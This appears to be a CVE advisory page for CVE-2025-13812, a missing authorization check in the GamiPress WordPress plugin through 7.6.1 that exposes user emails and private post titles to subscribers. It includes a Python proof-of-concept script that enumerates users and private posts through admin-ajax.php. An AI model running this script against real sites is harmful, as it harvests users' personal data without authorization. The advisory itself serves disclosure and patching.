Security Vulnerability Report
中文
CVE-2025-13812 CVSS 4.3 MEDIUM

CVE-2025-13812

Published: 2026-01-06 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

The GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the gamipress_ajax_get_posts and gamipress_ajax_get_users functions in all versions up to, and including, 7.6.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate users, including their email addresses and to retrieve titles of private posts.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GamiPress plugin < 7.6.1 (所有版本至7.6.1均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-13812 PoC - GamiPress Unauthorized User/Post Enumeration # Target: WordPress site with GamiPress plugin <= 7.6.1 TARGET_URL = "https://vulnerable-site.com" COOKIES = {"wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_XXX": "user_session_token"} def enumerate_users(): """Enumerate WordPress users via gamipress_ajax_get_users""" print("[*] Enumerating users via gamipress_ajax_get_users...") endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" for user_id in range(1, 50): data = { "action": "gamipress_ajax_get_users", "user_id": user_id } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if response.status_code == 200 and response.text.strip(): print(f"[+] User ID {user_id}: {response.text}") except: pass def enumerate_posts(): """Retrieve private post titles via gamipress_ajax_get_posts""" print("[*] Enumerating private posts via gamipress_ajax_get_posts...") endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { "action": "gamipress_ajax_get_posts", "post_type": "any", "post_status": "private" } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if response.status_code == 200: print(f"[+] Private Posts Response: {response.text[:500]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-13812 PoC - GamiPress < 7.6.1") enumerate_users() enumerate_posts() print("[*] Scan complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13812", "sourceIdentifier": "[email protected]", "published": "2026-01-06T08:15:51.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the gamipress_ajax_get_posts and gamipress_ajax_get_users functions in all versions up to, and including, 7.6.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enumerate users, including their email addresses and to retrieve titles of private posts."}, {"lang": "es", "value": "El plugin de WordPress GamiPress – Gamification para recompensar puntos, logros, insignias y rangos es vulnerable a acceso no autorizado a datos debido a una verificación de capacidad faltante en las funciones gamipress_ajax_get_posts y gamipress_ajax_get_users en todas las versiones hasta la 7.6.1, inclusive. Esto permite que atacantes autenticados, con un nivel de acceso de Suscriptor o superior, enumeren usuarios, incluyendo sus direcciones de correo electrónico, y recuperen títulos de publicaciones privadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3430697/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/acfdd579-0be9-476b-90cd-07f417712691?source=cve", "source": "[email protected]"}]}}